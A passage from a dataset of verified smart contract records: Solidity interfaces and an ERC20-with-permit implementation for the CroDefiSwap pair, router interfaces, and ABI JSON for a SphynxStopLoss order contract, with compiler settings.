npayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"","type":"bytes"}],"name":"checkUpkeep","outputs":[{"internalType":"bool","name":"upkeepNeeded","type":"bool"},{"internalType":"bytes","name":"performData","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amountA","type":"uint256"},{"internalType":"uint256","name":"_amountB","type":"uint256"},{"internalType":"address","name":"_tokenA","type":"address"},{"internalType":"address","name":"_tokenB","type":"address"},{"internalType":"uint256","name":"_expiredAt","type":"uint256"},{"internalType":"address","name":"_router","type":"address"},{"internalType":"bool","name":"_isSphynxFee","type":"bool"}],"name":"createOrder","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentOrderId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_orderIds","type":"uint256[]"},{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256[]","name":"matchOrderIds","type":"uint256[]"},{"internalType":"uint256","name":"matchedIndex","type":"uint256"}],"name":"executeOrders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUserOrders","outputs":[{"components":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"internalType":"struct SphynxStopLoss.Order[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepersRegistry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxPoolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"orders","outputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"routers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"staticFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_keepersRegistry","type":"address"}],"name":"updateKeepersRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newLength","type":"uint256"}],"name":"updateMaxTxPoolLength","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"updateSphynxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sphynx","type":"address"}],"name":"updateSphynxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"updatedFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
SphynxStopLoss | contracts/interfaces/ISphynxRouter.sol | 0x1d3a23212d110f47b3846fc56a947746cfe3c970 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;
import './ISphynxRouter01.sol';
interface ISphynxRouter is ISphynxRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
} | 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payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUserOrders","outputs":[{"components":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"internalType":"struct SphynxStopLoss.Order[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepersRegistry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxPoolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"orders","outputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"routers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"staticFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_keepersRegistry","type":"address"}],"name":"updateKeepersRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newLength","type":"uint256"}],"name":"updateMaxTxPoolLength","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"updateSphynxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sphynx","type":"address"}],"name":"updateSphynxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"updatedFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
SphynxStopLoss | contracts/interfaces/ISphynxRouter01.sol | 0x1d3a23212d110f47b3846fc56a947746cfe3c970 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;
interface ISphynxRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
} | 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SphynxStopLoss.Order[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepersRegistry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxPoolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"orders","outputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"expiredAt","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"isCanceled","type":"bool"},{"internalType":"bool","name":"isSuccessed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"routers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sphynxToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"staticFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_keepersRegistry","type":"address"}],"name":"updateKeepersRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newLength","type":"uint256"}],"name":"updateMaxTxPoolLength","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"updateSphynxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sphynx","type":"address"}],"name":"updateSphynxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"updatedFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userOrderIds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
CroDefiSwapPair | contracts/interfaces/ICroDefiSwapPair.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity >=0.5.0;
interface ICroDefiSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
} | 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ion"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"sync","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
|||
CroDefiSwapPair | contracts/interfaces/ICroDefiSwapERC20.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity >=0.5.0;
interface ICroDefiSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
} | 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| v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
|||
CroDefiSwapPair | contracts/CroDefiSwapERC20.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity =0.5.16;
contract CroDefiSwapERC20 is ICroDefiSwapERC20 {
using SafeMath for uint;
string public constant name = 'CRO Defi Swap';
string public constant symbol = 'CRO-SWAP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'CroDefiSwap: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'CroDefiSwap: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
} | 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| v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
|||
CroDefiSwapPair | contracts/interfaces/ICroDefiSwapFactory.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity >=0.5.0;
interface ICroDefiSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToBasisPoint() external view returns (uint);
// technically must be bigger than or equal to feeToBasisPoint
function totalFeeBasisPoint() external view returns (uint);
function feeSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToBasisPoint(uint) external;
function setTotalFeeBasisPoint(uint) external;
function setFeeSetter(address) external;
} | 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ion"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"sync","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | true | 999,999 | istanbul | GNU GPLv3 | false | bzzr://72febb9060e99697097d30ad78467c0deb02dffa096d3e1e0b5f205a8bec5dfa |
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CroDefiSwapPair | contracts/interfaces/ICroDefiSwapCallee.sol | 0xa3603484ebfa1675778ce2de02c0ce96678a4f34 | Solidity | pragma solidity >=0.5.0;
interface ICroDefiSwapCallee {
function croDefiSwapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
} | 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ion"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"sync","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[